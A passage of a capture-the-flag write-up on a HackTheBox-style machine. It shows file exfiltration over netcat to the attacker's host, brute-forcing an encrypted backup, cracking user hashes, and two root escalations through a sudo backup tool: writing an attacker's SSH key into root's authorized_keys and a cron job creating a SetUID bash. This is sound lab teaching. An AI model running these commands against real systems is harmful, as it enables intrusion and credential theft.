I’ll upgrade my shell using the standard trick:
web@Imagery:~/web$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
web@Imagery:~/web$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
web@Imagery:~/web$
Shell as mark
Enumeration
web Home
The web home directory looks pretty empty other than the website code in web:
web@Imagery:~$ ls -la
total 40
drwxr-x--- 7 web web 4096 Sep 22 18:56 .
drwxr-xr-x 4 root root 4096 Sep 22 18:56 ..
lrwxrwxrwx 1 root root 9 Sep 22 13:21 .bash_history -> /dev/null
-rw-r--r-- 1 web web 220 Aug 20 2024 .bash_logout
-rw-rw-r-- 1 web web 85 Jul 30 08:14 .bash_profile
-rw-r--r-- 1 web web 3856 Jul 30 08:14 .bashrc
drwx------ 6 web web 4096 Sep 22 18:56 .cache
drwx------ 3 web web 4096 Sep 22 18:56 .config
drwxrwxr-x 6 web web 4096 Sep 22 18:56 .local
drwx------ 3 web web 4096 Sep 22 18:56 .pki
drwxrwxr-x 9 web web 4096 Sep 22 18:56 web
There are some interesting pipx logs in .local (I don’t know if these were left intentionally as a hint or not):
web@Imagery:~$ ls .local/state/pipx/log/
cmd_2025-07-30_08.13.55.log cmd_2025-07-30_08.16.50.log
cmd_2025-07-30_08.14.22.log cmd_2025-07-30_08.21.57.log
cmd_2025-07-30_08.16.35.log
.local/state/pipx/log/cmd_2025-07-30_08.13.55.log
.local/state/pipx/log/cmd_2025-07-30_08.14.22.log
.local/state/pipx/log/cmd_2025-07-30_08.16.35.log
.local/state/pipx/log/cmd_2025-07-30_08.16.50.log
.local/state/pipx/log/cmd_2025-07-30_08.21.57.log
From these, I can construct the following timeline from July 30 2025 showing the user installing tools with pipx:
The first command installs pyAesCrypt to ~/.local/share/pipx/venvs/pyaescrypt. Then they update the path, and install again (unnecessiarily). Then they try to install a package named ensurepath (which doesn’t exist). Finally they install the requests package into the virtual environment for pyAesCrypt (though it’s not clear why they would need this).
~/.local/share/pipx/venvs/ is now empty, which means this was later removed.
Users
There’s one other user with a home directory in /home:
web@Imagery:/home$ ls
mark web
That matches the users with shells defined in passwd:
web@Imagery:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
The web user requires a password to run sudo:
web@Imagery:~$ sudo -l
[sudo] password for web:
No password I’ve found so far works.
backup
In var, I’ll note both backup and backups as directories:
web@Imagery:/var$ ls
backup cache lib lock mail run spool
backups crash local log opt snap tmp
backups is the standard directory common on Linux hosts, but backup is unique to Imagery. It contains a single file:
web@Imagery:/var/backup$ ls
web_20250806_120723.zip.aes
file is not installed on Imagery. Looking at the top of the file in hex shows that it was created with pyAesCrypt:
web@Imagery:/var/backup$ xxd web_20250806_120723.zip.aes | head
00000000: 4145 5302 0000 1b43 5245 4154 4544 5f42 AES....CREATED_B
00000010: 5900 7079 4165 7343 7279 7074 2036 2e31 Y.pyAesCrypt 6.1
00000020: 2e31 0080 0000 0000 0000 0000 0000 0000 .1..............
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Recover mark’s Password
Recover Backup
I’ll grab a copy of the backup file to my local host using cat web_20250806_120723.zip.aes | nc 10.10.15.179 9001 and nc -lnvp 9001 > web_20250806_120723.zip.aes on my host. I’ll verify the hashes match. On my host file shows that nicely that it’s AES encrypted data from pyAesCrypt 6.1.1:
oxdf@hacky$ file web_20250806_120723.zip.aes
web_20250806_120723.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"
There’s a five-year-old simple script on GitHub named pyAesBrute:
import sys,pyAesCrypt,time
s=time.time()
b=64*64
dic=sys.argv[1]
fi=sys.argv[2]
out=sys.argv[3]
pas=open(dic,'rb').readlines()
n=0
print('***brute forcing file...***')
total=len(pas)
while True:
passf=pas[n].strip('\n'.encode('utf-8'))
try:
pyAesCrypt.decryptFile(fi,out,passf.decode('utf-8'),b)
print(' ***file decrypted***')
e=time.time()
print('password: {%s}'%passf.decode('utf-8'))
print('time taken:',e-s)
print(f'{n/(e-s)} passwords per second')
sys.exit()
except Exception:
n+=1
It takes a wordlist, input file, and output file, and uses the pyAesCrypt library to attempt decrypts until it finds the password. It works:
oxdf@hacky$ vim pyAesBrute.py
oxdf@hacky$ uv add --script pyAesBrute.py pyAesCrypt
Updated `pyAesBrute.py`
oxdf@hacky$ uv run pyAesBrute.py /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt web_20250806_120723.zip.aes web_20250806_120723.zip
Installed 4 packages in 14ms
***brute forcing file...***
***file decrypted***
password: {bestfriends}
time taken: 11.14896011352539
60.00559632358904 passwords per second
db.json
The backup looks very similar to the live site, but there are additional users in db.json:
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"displayId": "f8p10uw0",
"isTestuser": false,
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"displayId": "8utz23o5",
"isTestuser": true,
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "web@imagery.htb",
"password": "84e3c804cf1fa14306f26f9f3da177e0",
"displayId": "7be291d4",
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
The admin user’s password is the same (and doesn’t crack in CrackStation). The mark and web users passwords do crack:
su
mark’s password from the backup works for their account on Imagery:
web@Imagery:/var/backup$ su - mark
Password:
mark@Imagery:~$
It does not work over SSH. That’s because password authentication is disabled in /etc/ssh/sshd_config:
mark@Imagery:~$ cat /etc/ssh/sshd_config | grep Password
PasswordAuthentication no
#PermitEmptyPasswords no
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication, then enable this but set PasswordAuthentication
I’ll grab user.txt:
mark@Imagery:~$ cat user.txt
ae081a7e************************
Shell as root
Enumeration
The mark user can run charcol as any user without a password using sudo:
mark@Imagery:~$ sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
The binary is owned by root and only accessible to root, but I can run it with sudo:
mark@Imagery:~$ charcol
bash: /usr/local/bin/charcol: Permission denied
mark@Imagery:~$ ls -l /usr/local/bin/charcol
-rwxr-x--- 1 root root 69 Aug 4 18:08 /usr/local/bin/charcol
mark@Imagery:~$ sudo charcol
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
Charcol is already set up.
To enter the interactive shell, use: charcol shell
To see available commands and flags, use: charcol help
I’m not able to find anything about it on the internet, which suggests it’s custom for Imagery. Only root can read the file, so I can’t do things like look up the hash on VT to see if it’s been seen before the release of this box. The help menu shows only two options, help and shell:
mark@Imagery:~$ sudo charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...
Charcol: A CLI tool to create encrypted backup zip files.
positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.
options:
--quiet Suppress all informational output, showing only warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system password verification).
There’s also an option to reset the password. I can try shell, but it needs a password:
mark@Imagery:~$ sudo charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password):
[2026-01-19 22:45:47] [ERROR] Incorrect master passphrase. 2 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password):
[2026-01-19 22:45:50] [ERROR] Incorrect master passphrase. 1 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password):
[2026-01-19 22:45:51] [ERROR] Incorrect master passphrase after multiple attempts. Exiting application. If you forgot your master passphrase, then reset password using charcol -R command for more info do charcol help. (Error Code: CPD-002)
Please submit the log file and the above error details to error@charcol.com if the issue persists.
None of the passwords I’ve found so far work. I’ll try the -R option:
mark@Imagery:~$ sudo charcol -R shell
Attempting to reset Charcol application password to default.
[2026-01-19 22:49:54] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[2026-01-19 22:50:05] [INFO] System password verified successfully.
Removed existing config file: /root/.charcol/.charcol_config
Charcol application password has been reset to default (no password mode).
Please restart the application for changes to take effect.
On entering mark’s password, it resets. The next time I run sudo charcol shell, it asks me to set a password or leave it off and creates the config, and then exits. Then running against drops to a shell:
mark@Imagery:~$ sudo charcol shell
First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:
Are you sure you want to use 'no password' mode? (yes/no): yes
[2026-01-19 22:50:39] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.
mark@Imagery:~$ sudo charcol shell
░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██
Charcol The Backup Suit - Development edition 1.0.0
[2026-01-19 22:50:45] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>
help shows all the commands:
charcol> help
[2026-01-19 22:51:24] [INFO]
Charcol Shell Commands:
Backup & Fetch:
backup -i <paths...> [-o <output_file>] [-p <file_password>] [-c <level>] [--type <archive_type>] [-e <patterns...>] [--no-timestamp] [-f] [--skip-symlinks] [--ask-password]
Purpose: Create an encrypted backup archive from specified files/directories.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/'.
Naming: Automatically adds timestamp unless --no-timestamp is used. If no -o, uses input filename as base.
Permissions: Files created with 664 permissions. Ownership is user:group.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED archive.
Examples:
- Encrypted with file-specific password:
backup -i /home/user/my_docs /var/log/nginx/access.log -o /tmp/web_logs -p <file_password> --verbose --type tar.gz -c 9
- Encrypted with app password (if status 1):
backup -i /home/user/example_file.json
- Unencrypted (if status 2 and no -p):
backup -i /home/user/example_file.json
- No timestamp:
backup -i /home/user/example_file.json --no-timestamp
fetch <url> [-o <output_file>] [-p <file_password>] [-f] [--ask-password]
Purpose: Download a file from a URL, encrypt it, and save it.
Output: File will have a '.aes' extension if encrypted. Defaults to '/var/backup/fetched_file'.
Permissions: Files created with 664 permissions. Ownership is current user:group.
Restrictions: Fetching from loopback addresses (e.g., localhost, 127.0.0.1) is blocked.
Encryption:
- If '--app-password' is set (status 1) and no '-p <file_password>' is given, uses the application password for encryption.
- If 'no password' mode is set (status 2) and no '-p <file_password>' is given, creates an UNENCRYPTED file.
Examples:
- Encrypted:
fetch <URL> -o <output_file_path> -p <file_password> --force
- Unencrypted (if status 2 and no -p):
fetch <URL> -o <output_file_path>
Integrity & Extraction:
list <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and list contents of an encrypted Charcol archive.
Note: Requires the correct decryption password.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
list /var/backup/<encrypted_file_name>.zip.aes -p <file_password>
check <encrypted_file> [-p <file_password>] [--ask-password]
Purpose: Decrypt and verify the structural integrity of an encrypted Charcol archive.
Note: Requires the correct decryption password. This checks the archive format, not internal data consistency.
Supported Types: .zip.aes, .tar.gz.aes, .tar.bz2.aes.
Example:
check /var/backup/<encrypted_file_name>.tar.gz.aes -p <file_password>
extract <encrypted_file> <output_directory> [-p <file_password>] [--ask-password]
Purpose: Decrypt an encrypted Charcol archive and extract its contents.
Note: Requires the correct decryption password.
Example:
extract /var/backup/<encrypted_file_name>.zip.aes /tmp/restored_data -p <file_password>
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), cron, unencrypted backup:
CHARCOL_NON_INTERACTIVE=true charcol auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
- Status 2 (no app password), interactive:
auto add --schedule "0 2 * * *" --command "charcol backup -i /home/user/docs" \
--name "Daily Docs Backup" --log-output <log_file_path>
(will prompt for system password)
auto list
Purpose: List all automated jobs managed by Charcol.
Example:
auto list
auto edit <job_id> [--schedule "<new_schedule>"] [--command "<new_command>"] [--name "<new_name>"] [--log-output <new_log_file>]
Purpose: Modify an existing Charcol-managed automated job.
Verification: Same as 'auto add'.
Example:
auto edit <job_id> --schedule "30 4 * * *" --name "Updated Backup Job"
auto delete <job_id>
Purpose: Remove an automated job managed by Charcol.
Verification: Same as 'auto add'.
Example:
auto delete <job_id>
Shell & Help:
shell
Purpose: Enter this interactive Charcol shell.
Example:
shell
exit
Purpose: Exit the Charcol shell.
Example:
exit
clear
Purpose: Clear the interactive shell screen.
Example:
clear
help [command]
Purpose: Show help for Charcol or a specific command.
Example:
help backup
Global Flags (apply to all commands unless overridden):
--app-password <password> : Provide the Charcol *application password* directly. Required for 'auto' commands if status 1. Less secure than interactive prompt.
-p, "--password" <password> : Provide the *file encryption/decryption password* directly. Overrides application password for file operations. Less secure than --ask-password.
-v, "--verbose" : Enable verbose output.
--quiet : Suppress informational output (show only warnings and errors).
--log-file <path> : Log all output to a specified file.
--dry-run : Simulate actions without actual file changes (for 'backup' and 'fetch').
--ask-password : Prompt for the *file encryption/decryption password* securely. Overrides -p and application password for file operations.
--no-banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).
Privesc
There are probably many ways to escalate using this binary. I’ll show two:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as mark]-->B(<a href='#via-fetch'>Via fetch</a>);
B-->C[Shell as root];
A-->D(<a href='#via-auto-cron'>Via auto</a>);
D-->C;
linkStyle default stroke-width:2px,stroke:#FFFF99,fill:none;
linkStyle 1,2,3 stroke-width:2px,stroke:#4B9CD3,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
via fetch
The fetch command takes a URL and stores the file at a given location:
charcol> fetch
usage: fetch [-h] [-o OUTPUT] [-f] [-p PASSWORD] [--ask-password] url
fetch: error: the following arguments are required: url
[2026-01-19 22:56:32] [ERROR] Invalid 'fetch' command arguments. Use 'help fetch' for usage.
I’ll host a public key and try downloading it:
charcol> fetch http://10.10.15.179/ed25519_gen.pub -o /tmp/0xdf.key
[2026-01-19 22:57:34] [INFO] No encryption password provided and application is in 'no password' mode. Creating unencrypted file.
[2026-01-19 22:57:34] [INFO] Attempting to fetch from URL: http://10.10.15.179/ed25519_gen.pub
[2026-01-19 22:57:34] [INFO] Output file will be: /tmp/0xdf.key
[2026-01-19 22:57:34] [INFO] Downloading file to temporary location: /tmp/0xdf.key.tmp
[2026-01-19 22:57:34] [WARNING] WARNING: Fetching files from remote URLs carries a risk of supply chain injection or remote code execution (RCE) if the fetched file is malicious.
[2026-01-19 22:57:34] [WARNING] Exercise extreme caution when fetching from untrusted sources. Do not extract or execute fetched files unless you are certain of their integrity and safety.
[2026-01-19 22:57:34] [INFO] Download complete.
[2026-01-19 22:57:34] [INFO] Set permissions for temporary downloaded file to 0o664
[2026-01-19 22:57:34] [INFO] Set ownership for temporary downloaded file to root:root
[2026-01-19 22:57:34] [INFO] Moving unencrypted file to final destination: /tmp/0xdf.key...
[2026-01-19 22:57:34] [INFO] Unencrypted fetched file saved to: /tmp/0xdf.key
[2026-01-19 22:57:34] [INFO] Set permissions for final output file to 0o664
[2026-01-19 22:57:34] [INFO] Set ownership for final output file to root:root
The file is there and owned by root:
mark@Imagery:~$ cat /tmp/0xdf.key
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
mark@Imagery:~$ ls -l /tmp/0xdf.key
-rw-rw-r-- 1 root root 96 Jan 19 22:57 /tmp/0xdf.key
I’ll do it again, this time writing to authorized_keys in the root user’s SSH directory:
charcol> cat /tmp/0xdf.key
[2026-01-19 22:57:39] [ERROR] Error: Command 'cat' is not a recognized Charcol command in the interactive shell. Blocked.
charcol> fetch http://10.10.15.179/ed25519_gen.pub -o /root/.ssh/authorized_keys
[2026-01-19 22:59:17] [INFO] No encryption password provided and application is in 'no password' mode. Creating unencrypted file.
[2026-01-19 22:59:17] [INFO] Attempting to fetch from URL: http://10.10.15.179/ed25519_gen.pub
[2026-01-19 22:59:17] [INFO] Output file will be: /root/.ssh/authorized_keys
[2026-01-19 22:59:17] [INFO] Downloading file to temporary location: /root/.ssh/authorized_keys.tmp
[2026-01-19 22:59:17] [WARNING] WARNING: Fetching files from remote URLs carries a risk of supply chain injection or remote code execution (RCE) if the fetched file is malicious.
[2026-01-19 22:59:17] [WARNING] Exercise extreme caution when fetching from untrusted sources. Do not extract or execute fetched files unless you are certain of their integrity and safety.
[2026-01-19 22:59:17] [INFO] Download complete.
[2026-01-19 22:59:17] [INFO] Set permissions for temporary downloaded file to 0o664
[2026-01-19 22:59:17] [INFO] Set ownership for temporary downloaded file to root:root
[2026-01-19 22:59:17] [INFO] Moving unencrypted file to final destination: /root/.ssh/authorized_keys...
[2026-01-19 22:59:17] [INFO] Unencrypted fetched file saved to: /root/.ssh/authorized_keys
[2026-01-19 22:59:17] [INFO] Set permissions for final output file to 0o664
[2026-01-19 22:59:17] [INFO] Set ownership for final output file to root:root
Now I try to can SSH in, but it fails:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.129.4.40
Command 'lastlog' not found, did you mean:
command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.
I’ll show why this is happening in Beyond Root, but we can get past it by running sh as the command on connecting:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.129.4.40 -t sh
# bash
root@Imagery:~# cat root.txt
e2eef58f************************
via auto cron
Charcol has a set of commands based on the keyword auto that manage scheduled jobs. There are currently none:
charcol> auto list
[2026-01-20 12:24:21] [INFO] No Charcol-managed auto jobs found.
I’ll add one:
charcol> auto add --schedule "* * * * *" --command "bash -c 'cp /bin/bash /var/tmp/0xdf; chown root:root /var/tmp/0xdf; chmod 6777 /var/tmp/0xdf'" --name "0xdf cron" --log-output /tmp/0xdfcron.log
[2026-01-20 12:28:04] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
[2026-01-20 12:28:07] [INFO] System password verified successfully.
[2026-01-20 12:28:07] [INFO] Auto job '0xdf cron' (ID: 9ffd17b0-1cda-4f9d-a74a-b5add4e0eb79) added successfully. The job will run according to schedule.
[2026-01-20 12:28:07] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true bash -c 'cp /bin/bash /var/tmp/0xdf; chown root:root /var/tmp/0xdf; chmod 6777 /var/tmp/0xdf' >> /tmp/0xdfcron.log 2>&1
It does require the password for mark, but I have that. After a minute, there’s a SetUID / SetGID bash in /tmp:
mark@Imagery:~$ ls -l /var/tmp/0xdf
-rwsrwsrwx 1 root root 1474768 Jan 20 12:29 /var/tmp/0xdf
I’ll run with -p (to not drop privs) and get a shell as root:
mark@Imagery:~$ /var/tmp/0xdf -p
0xdf-5.2#
And get the flag:
0xdf-5.2# cat /root/root.txt
e2eef58f************************
Beyond Root
Find Error
It’s not clear to me if the author / HTB tried to break SSH to prevent players using it, or if the box just missed this during quality control, but trying to connect via SSH fails in an error:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@10.129.4.40
Command 'lastlog' not found, did you mean:
command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.
I actually first ran into this trying to create myself a save point when used su to switch to mark. I had to step away for a bit, and didn’t want my reverse shell to die and to have to re-run the full exploit chain, so I wrote my public key into mark’s .ssh/authorized_keys, but had the same issue:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40
Command 'lastlog' not found, did you mean:
command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.
It’s failing to find the lastlog command. There are many scripts that are run when a user logs in that might generate this. For example, ~/.bashrc and ~/.profile. grep -r lastlog /home/mark returns nothing, suggesting it’s not in mark’s home directory.
There are also global config scripts in /etc, such as /etc/profile. This script is run by every user, and it calls lastlog:
mark@Imagery:/etc$ grep -r lastlog . 2>/dev/null
./lvm/profile/lvmdbusd.profile: # display only outermost LVM shell-related log that lvmdbusd inspects first after LVM command execution (it calls 'lastlog' for more detailed log afterwards if needed)
./apparmor.d/abstractions/wutmp: # some services update wtmp, utmp, and lastlog with per-user
./apparmor.d/abstractions/wutmp: /var/log/lastlog rwk,
./profile: LAST_LOGIN=$(lastlog -u "$USER" | awk 'NR==2 {print $4, $5, $6, $7, $9}')
Immediately after calling lastlog, the result is checked to see if there is a previous login:
LAST_LOGIN=$(lastlog -u "$USER" | awk 'NR==2 {print $4, $5, $6, $7, $9}')
if [[ -z "$LAST_LOGIN" || "$LAST_LOGIN" == "**Never logged in**" ]]; then
echo "Last login: Never logged in"
exit 0
fi
When the result of lastlog is empty or contains “**Never logged in**”, it prints an error and exits, killing the session. That’s what I’m seeing here:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40
Command 'lastlog' not found, did you mean:
command 'lastlog2' from deb lastlog2 (2.40.2-1ubuntu1.1)
Try: apt install <deb name>
Last login: Never logged in
Connection to 10.129.4.40 closed.
SSH Commands
There is a bug in the script that I can exploit to get a shell. By default, SSH uses the shell configured in passwd as the process it spawns. For mark (and root), that’s bash:
mark@Imagery:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
Service accounts may have shells like /bin/false or /usr/sbin/nologin so that when you connect they print a message and exit. But SSH can also specify a command to run:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40 id
uid=1002(mark) gid=1002(mark) groups=1002(mark)
If I want to interact with that program, it’s helpful to add -t to force pseudo-terminal allocation.
profile Bug
There’s a bug in /etc/profile that allows me to skip the check for lastlog. The issue here is that the script uses [[ ]] to evaluate that check, not [ ]. [[ ]] is a bash-ism, not part of the POSIX standard. [ ] is POSIX compliant and works in sh/dash/bash, where as [[ ]] only works in Bash and Zsh. That means if I run sh or dash (sh is symlinked to dash on Imagery) instead of bash on logging in, the [[ ]] syntax will fail.
I can use -t sh to get a shell using sh instead of bash, when it gets to if [[ -z "$LAST_LOGIN" || ... ]]; then, it errors out and returns from the script (without killing the session):
oxdf@hacky$ ssh -i ~/keys/ed25519_gen mark@10.129.4.40 -t sh
$ id
uid=1002(mark) gid=1002(mark) groups=1002(mark)
I can switch to bash from here without issue:
$ bash
mark@Imagery:~$
